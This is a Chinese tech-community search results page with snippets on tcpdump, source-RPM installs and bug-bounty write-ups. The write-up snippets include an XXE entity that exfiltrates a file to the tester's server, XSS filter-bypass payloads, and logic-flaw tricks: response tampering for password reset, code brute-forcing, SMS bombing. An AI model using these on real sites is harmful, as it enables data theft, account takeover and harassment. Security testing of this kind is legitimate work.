首页
学习
活动
专区
圈层
工具
发布
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    linux抓本来端口包,Linux抓包

    172.31.0.42‘ -w /tmp/temp.cap 监听指定的主机 $ tcpdump -i eth0 -nn ‘host 192.168.1.231‘ 这样的话,192.168.1.231这台主机接收到的包和发送的包都会被抓取...$ tcpdump -i eth0 -nn ‘src host 192.168.1.231‘ 这样只有192.168.1.231这台主机发送的包才会被抓取。...$ tcpdump -i eth0 -nn ‘dst host 192.168.1.231‘ 这样只有192.168.1.231这台主机接收到的包才会被抓取。...1、如果要抓eth0的包,命令格式如下: tcpdump -i eth0 -w /tmp/eth0.cap 2、如果要抓192.168.1.20的包,命令格式如下: tcpdump -i etho host...6、假如要抓pppoe的密码,命令格式如下: tcpdump -i eht0 pppoes -w /tmp/pppoe.cap 7、假如要抓eth0的包,抓到10000个包后退出,命令格式如下: tcpdump

    6.9K40

    SRC逻辑漏洞挖掘浅谈

    1.资产收集 1.1业务范围 巧用搜索引擎首推谷歌查看了解SRC旗下涉及到的业务,收集其对应的业务下的域名,再进一步进行挖掘,如: ? ? 整理,再进行常规资产收集 ?...3.逻辑漏洞 任意用户注册、密码重置、密码找回 3.1本地验证、修改返回包 1)获取验证码后任意输入一个验证码 ? 2)抓包放行,得到的返回包如下 ?...3)抓包改返回包修改为正确的返回包覆盖错误的返回包,如下 {“code”:1,”data”:”目标用户手机号”,”msg”:”绑定成功Ÿ”) ? 4)放行,修改成功 ?...密码可被爆破 无验证码,验证码不刷新,验证码4位过于简单无尝试次数限制可被爆破、 枚举注册用户 输入用户名,发送请求验证用户名是否正确(若返回次数限制,可测试服务端未限制高频访问) 登陆失败有次数限制,若包中有限制参数可更改或删除参数...邮箱轰炸,短信轰炸,burp Repeate,短信轰炸验证码有60秒限制时,有的参数修改后可绕过 如 1)isVerfi参数 这里是1 回包 3 手机没收到信息 存在验证码限制 ?

    4.2K23

    SRC漏洞挖掘经验分享

    ENTITY % xxe SYSTEM 'http://你服务器IP/%file;'>">CSRF与逻辑漏洞的组合拳登录上后修改密保(忘记密码时通过回答问题来修改密码)进行抓包尝试用GET请求来代替...x.x.x.x2022失败x.x.x.x2022成功论坛的存储型XSS  先插一下试试结果页面显示了alert(1);并没有出现弹框,说明被编码了添加一个链接然后发表,并进行抓包将...href值修改为javascript:alert(1);成功弹框,也就是说有些标签的不会被编码再找一个绕过方式添加一个图片然后发表,并进行抓包修改为src=1 onerror="alert...(1);"/>结果并没有出现弹框,查看前端代码,onerror被替换为空了src=1 ="alert(1);"/>尝试双写绕过onerroonerrorr,让中间的onerror被替换为空,最后保留一个

    1.5K20

    Linux 源码包安装

    SRPM 包,比 RPM 包多了一个“S”,是“Source”的首字母,所以 SRPM 可直译为“源代码形式的 RPM 包”。也就是说,SRPM 包中不再是经过编译的二进制文件,都是源代码文件。...从表中可以看到,SRPM 包的命名与 RPM 包基本类似,唯一区别在于 SRPM 包多了“src”标志,即 SRPM 包采用“包名-版本号-发布次数-发行商-src.rpm”的方式进行命名,比如“MySQL...-5.5.29-2.el6.src.rpm”。...5.el6.src.rpm warning: InstallSourcePackage at: psm.c:244: Header V3 RSA/SHA256 Signature, key ID fd431d51...-5.el6.src.rpm -i 选项用于安装 rpm 包时表示安装,但对于 SRPM 包的安装来说,这里只会将 .src.rpm 包解开后将个文件放置在当前目录下的 rpmbuild 目录中,并不涉及安装操作

    2K60

    linux 进程抓包命令,linux抓包命令之tcpdump详解

    ]# tcpdump -i eth0 host 10.20.3.25 (4.).获取主机10.20.3.25发送的所有数据 [[email protected] ~]#tcpdump -i eth0 src...10.20.3网段通信的数据包,”-c 10″表示只抓取10个包 [[email protected] ~]# tcpdump -c 10 net 10.20.3 (8).抓取ping包 [[email...注意,是最终要获取这么多个包。例如,指定”-c 10″将获取10个包,但可能已经处理了100个包,只不过只有10个包是满足条件的包。-i interface:指定tcpdump需要监听的接口。...对于要抓取的数据包较大时,长度设置不够可能会产生包截断,若出现包截断, :输出行中会出现”[|proto]”的标志(proto实际会显示为协议名)。...但是抓取len越长,包的处理时间越长,并且会减少tcpdump可缓存的数据包的数量, :从而会导致数据包的丢失,所以在能抓取我们想要的包的前提下,抓取长度越小越好。

    5.7K20
    领券